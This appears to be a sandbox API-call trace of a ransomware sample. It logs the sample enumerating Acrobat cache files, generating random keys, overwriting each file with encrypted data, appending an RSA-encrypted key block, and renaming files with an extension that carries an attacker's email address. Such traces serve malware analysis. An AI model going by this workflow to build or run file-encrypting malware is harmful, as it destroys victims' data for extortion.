[0236.754] SetLastError (dwErrCode=0x0) [0236.754] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x90) returned 0x65c378 [0236.754] FindNextFileW (in: hFindFile=0x2f34aa0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd78179b2, ftCreationTime.dwHighDateTime=0x1d35e03, ftLastAccessTime.dwLowDateTime=0xd78179b2, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xe8c1e26a, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x42000, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="data_1", cAlternateFileName="")) returned 1 [0236.754] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6649e0 | out: hHeap=0x570000) returned 1 [0236.754] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a4808 [0236.754] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x2f8ad70 [0236.754] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4808 | out: hHeap=0x570000) returned 1 [0236.754] GetLastError () returned 0x0 [0236.754] SetLastError (dwErrCode=0x0) [0236.754] GetLastError () returned 0x0 [0236.754] SetLastError (dwErrCode=0x0) [0236.754] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x664c38 [0236.754] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8ad70 | out: hHeap=0x570000) returned 1 [0236.754] GetLastError () returned 0x0 [0236.754] SetLastError (dwErrCode=0x0) [0236.755] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x90) returned 0x65d380 [0236.755] FindNextFileW (in: hFindFile=0x2f34aa0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd78215d4, ftCreationTime.dwHighDateTime=0x1d35e03, ftLastAccessTime.dwLowDateTime=0xd78215d4, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xd78215d4, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="data_2", cAlternateFileName="")) returned 1 [0236.755] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x664c38 | out: hHeap=0x570000) returned 1 [0236.755] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a4388 [0236.755] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x2f8a9b8 [0236.755] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4388 | out: hHeap=0x570000) returned 1 [0236.755] GetLastError () returned 0x0 [0236.755] SetLastError (dwErrCode=0x0) [0236.755] GetLastError () returned 0x0 [0236.755] SetLastError (dwErrCode=0x0) [0236.755] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x665598 [0236.755] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8a9b8 | out: hHeap=0x570000) returned 1 [0236.755] GetLastError () returned 0x0 [0236.755] SetLastError (dwErrCode=0x0) [0236.755] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x90) returned 0x65cb30 [0236.755] FindNextFileW (in: hFindFile=0x2f34aa0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd7823d0a, ftCreationTime.dwHighDateTime=0x1d35e03, ftLastAccessTime.dwLowDateTime=0xd7823d0a, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xd7823d0a, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="data_3", cAlternateFileName="")) returned 1 [0236.755] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x665598 | out: hHeap=0x570000) returned 1 [0236.755] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a4808 [0236.755] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x2f8b678 [0236.755] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4808 | out: hHeap=0x570000) returned 1 [0236.755] GetLastError () returned 0x0 [0236.755] SetLastError (dwErrCode=0x0) [0236.755] GetLastError () returned 0x0 [0236.756] SetLastError (dwErrCode=0x0) [0236.756] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x664dc8 [0236.756] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8b678 | out: hHeap=0x570000) returned 1 [0236.756] GetLastError () returned 0x0 [0236.756] SetLastError (dwErrCode=0x0) [0236.756] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x90) returned 0x65c7a0 [0236.756] FindNextFileW (in: hFindFile=0x2f34aa0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd780dd5d, ftCreationTime.dwHighDateTime=0x1d35e03, ftLastAccessTime.dwLowDateTime=0xd780dd5d, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xd7812b7f, ftLastWriteTime.dwHighDateTime=0x1d35e03, nFileSizeHigh=0x0, nFileSizeLow=0x80170, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="index", cAlternateFileName="")) returned 1 [0236.756] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x664dc8 | out: hHeap=0x570000) returned 1 [0236.756] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a46a0 [0236.756] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x2f8ad70 [0236.756] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a46a0 | out: hHeap=0x570000) returned 1 [0236.756] GetLastError () returned 0x0 [0236.756] SetLastError (dwErrCode=0x0) [0236.756] GetLastError () returned 0x0 [0236.756] SetLastError (dwErrCode=0x0) [0236.756] GetLastError () returned 0x0 [0236.756] SetLastError (dwErrCode=0x0) [0236.756] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x90) returned 0x65ccf8 [0236.756] FindNextFileW (in: hFindFile=0x2f34aa0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b416115, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x3b416115, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x3b416115, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0236.756] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8ad70 | out: hHeap=0x570000) returned 1 [0236.756] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a4808 [0236.756] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x2f8ab50 [0236.756] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4808 | out: hHeap=0x570000) returned 1 [0236.756] GetLastError () returned 0x0 [0236.756] SetLastError (dwErrCode=0x0) [0236.756] GetLastError () returned 0x0 [0236.756] SetLastError (dwErrCode=0x0) [0236.756] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x6642d8 [0236.756] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8ab50 | out: hHeap=0x570000) returned 1 [0236.757] GetLastError () returned 0x0 [0236.757] SetLastError (dwErrCode=0x0) [0236.757] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2ee6190 [0236.757] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee6190 | out: hHeap=0x570000) returned 1 [0236.757] FindNextFileW (in: hFindFile=0x2f34aa0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b416115, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x3b416115, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x3b416115, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0236.757] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x90) returned 0x65d250 [0236.757] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2ee6190 [0236.757] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0236.757] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\index", dwFileAttributes=0x80) returned 1 [0236.765] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x90) returned 0x65cd90 [0236.765] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xd6) returned 0x5a37b8 [0236.765] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x65cd90 | out: hHeap=0x570000) returned 1 [0236.765] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\index" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\adobe\\acrocef\\dc\\acrobat\\cache\\index"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a38 [0236.766] GetFileSizeEx (in: hFile=0x1a38, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=524656) returned 1 [0236.766] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80170) returned 0x676020 [0236.766] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80170) returned 0x708020 [0236.766] ReadFile (in: hFile=0x1a38, lpBuffer=0x676020, nNumberOfBytesToRead=0x80170, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x676020*, lpNumberOfBytesRead=0x2e3f9b4*=0x80170, lpOverlapped=0x0) returned 1 [0237.173] SetFilePointer (in: hFile=0x1a38, lDistanceToMove=-524656, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0237.173] WriteFile (in: hFile=0x1a38, lpBuffer=0x708020*, nNumberOfBytesToWrite=0x80170, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x708020*, lpNumberOfBytesWritten=0x2e3f9b4*=0x80170, lpOverlapped=0x0) returned 1 [0237.175] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x676020 | out: hHeap=0x570000) returned 1 [0237.175] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x708020 | out: hHeap=0x570000) returned 1 [0237.175] SetFilePointer (in: hFile=0x1a38, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x80170 [0237.175] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0237.175] WriteFile (in: hFile=0x1a38, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0237.175] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0237.175] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0237.176] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0237.176] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5a8108 [0237.176] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="OKVSF/OFiuTc81qoUDY6qkb/QyFUdlw43x8xu/d+8XPKIZhz59mg1v+hnQpUo+G7\nMcVJGXKljPKF/w+tQ7iXvCnQlnUaLDGXQZ+wYzTzDRZ9zfGF2buTU6z792BIQ51M\nascXOUQlV9S5t9sXo109mwPZgqAr7EcAVmkEthgjegcG4a5xln14Nd1aGOPO8YKd\nka4qPauoTbKcJCj2t4TdW76gvZGcoZZv/3gM2epVUUfNyTgPilWsVBAVfAffA4+A\ngi01zYe4XoTYTwuDX8xc8Tm8rsErRnz1Kyrji3TJcp/bnC08MfWR3VVQK8ewrRpx\nVT1qs1JG+D4K1C7txMZ+nA==\n", pcchString=0x2e3f9a8) returned 1 [0237.176] WriteFile (in: hFile=0x1a38, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0237.176] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0237.176] WriteFile (in: hFile=0x1a38, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0237.176] CloseHandle (hObject=0x1a38) returned 1 [0237.176] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a8108 | out: hHeap=0x570000) returned 1 [0237.176] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\index" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\adobe\\acrocef\\dc\\acrobat\\cache\\index"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\index.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\adobe\\acrocef\\dc\\acrobat\\cache\\index.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0237.178] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a37b8 | out: hHeap=0x570000) returned 1 [0237.178] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee6190 | out: hHeap=0x570000) returned 1 [0237.178] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x65d250 | out: hHeap=0x570000) returned 1 [0237.178] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x65ccf8 | out: hHeap=0x570000) returned 1 [0237.178] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x90) returned 0x65cf58 [0237.178] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2ee6190 [0237.178] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0237.178] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\data_3", dwFileAttributes=0x80) returned 1 [0237.187] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x90) returned 0x65ca00 [0237.187] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xd6) returned 0x5a37b8 [0237.187] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x65ca00 | out: hHeap=0x570000) returned 1 [0237.187] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\data_3" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\adobe\\acrocef\\dc\\acrobat\\cache\\data_3"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a38 [0237.188] GetFileSizeEx (in: hFile=0x1a38, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=8192) returned 1 [0237.188] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2000) returned 0x33dd058 [0237.188] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2000) returned 0x33db050 [0237.188] ReadFile (in: hFile=0x1a38, lpBuffer=0x33dd058, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x33dd058*, lpNumberOfBytesRead=0x2e3f9b4*=0x2000, lpOverlapped=0x0) returned 1 [0237.211] SetFilePointer (in: hFile=0x1a38, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0237.211] WriteFile (in: hFile=0x1a38, lpBuffer=0x33db050*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x33db050*, lpNumberOfBytesWritten=0x2e3f9b4*=0x2000, lpOverlapped=0x0) returned 1 [0237.211] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x33dd058 | out: hHeap=0x570000) returned 1 [0237.211] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x33db050 | out: hHeap=0x570000) returned 1 [0237.211] SetFilePointer (in: hFile=0x1a38, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x2000 [0237.211] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0237.211] WriteFile (in: hFile=0x1a38, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0237.212] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0237.212] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0237.212] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0237.212] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5a8108 [0237.212] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="5cXPz0Nm5u623EucVGS/sOakFhDQCaVz7j1iOdaZEuJez0m1BNexjqCPkhl3oevx\nA60rYvgOgmYEtaXXW3qfw3TeiZSHXurd4L+DFsrgdheVMh1ptSZbaOVHzkrXfjMu\nZR0A3IWVt2+I3I8XcT+G5FhumCunwBF7C9xro4lEPlWBKx8q5P6POtQhZxzhyGMG\niqRuKOVkvjy+MbblNbF4NrLnb6DIA6nSfIinRYANRJ00+KpwYNyLXm/D1mYXJvKQ\nuMNmBXjosjGG1iSvdHT6hSgEZY8xSWvM9CSrjHU7lZpkJPFVuR5B1mHk495dlZYq\nr9z9zvs5tKKf48jzIrZpTA==\n", pcchString=0x2e3f9a8) returned 1 [0237.212] WriteFile (in: hFile=0x1a38, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0237.212] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0237.212] WriteFile (in: hFile=0x1a38, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0237.212] CloseHandle (hObject=0x1a38) returned 1 [0237.212] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a8108 | out: hHeap=0x570000) returned 1 [0237.212] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\data_3" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\adobe\\acrocef\\dc\\acrobat\\cache\\data_3"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\data_3.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\adobe\\acrocef\\dc\\acrobat\\cache\\data_3.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0237.214] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a37b8 | out: hHeap=0x570000) returned 1 [0237.214] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee6190 | out: hHeap=0x570000) returned 1 [0237.214] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x65cf58 | out: hHeap=0x570000) returned 1 [0237.214] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x65c7a0 | out: hHeap=0x570000) returned 1 [0237.214] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x90) returned 0x65c410 [0237.214] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2ee6190 [0237.214] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0237.214] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\data_2", dwFileAttributes=0x80) returned 1 [0237.214] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x90) returned 0x65ccf8 [0237.215] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xd6) returned 0x5a37b8 [0237.215] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x65ccf8 | out: hHeap=0x570000) returned 1 [0237.215] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\data_2" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\adobe\\acrocef\\dc\\acrobat\\cache\\data_2"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a38 [0237.215] GetFileSizeEx (in: hFile=0x1a38, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=8192) returned 1 [0237.215] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2000) returned 0x33d5038 [0237.215] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2000) returned 0x33d7040 [0237.215] ReadFile (in: hFile=0x1a38, lpBuffer=0x33d5038, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x33d5038*, lpNumberOfBytesRead=0x2e3f9b4*=0x2000, lpOverlapped=0x0) returned 1 [0237.313] SetFilePointer (in: hFile=0x1a38, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0237.314] WriteFile (in: hFile=0x1a38, lpBuffer=0x33d7040*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x33d7040*, lpNumberOfBytesWritten=0x2e3f9b4*=0x2000, lpOverlapped=0x0) returned 1 [0237.314] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x33d5038 | out: hHeap=0x570000) returned 1 [0237.314] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x33d7040 | out: hHeap=0x570000) returned 1 [0237.314] SetFilePointer (in: hFile=0x1a38, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x2000 [0237.314] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0237.314] WriteFile (in: hFile=0x1a38, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0237.314] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0237.314] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0237.314] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0237.314] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5a8108 [0237.314] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="3gDu7HPgrAf9i5AMQAD63USWX9lQli8GhkOyL5Y7zFzmiO/vgGf7fqX0PhP4YVwi\ns0QL3Qytzzif0ef5jVbmyg8H9ilSQhvvPMNnKCy0hf/j1vGLp4J8aeVwrvKhjcPJ\nq5u8gdExMc6PPXMGVdaYDAvzhS0C+wl06+vcbldimPCemJQYmVPeHWcdws7ARD4f\nHi2lf83295p2G1m/jL+9X3bbYQKbUvKEq8MXlElbC5eXL+fiFf/zzXFNBDKJiTHK\nOVjrLLnJUfGWDxD94kNcpCizuxM+Tiq1hdlJK270fbHMfadDeiR1l2fn4NbaVbD9\nCDx6IUzGTDhcDLdArjghLA==\n", pcchString=0x2e3f9a8) returned 1 [0237.314] WriteFile (in: hFile=0x1a38, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0237.315] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0237.315] WriteFile (in: hFile=0x1a38, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0237.315] CloseHandle (hObject=0x1a38) returned 1 [0237.315] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a8108 | out: hHeap=0x570000) returned 1 [0237.315] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\data_2" 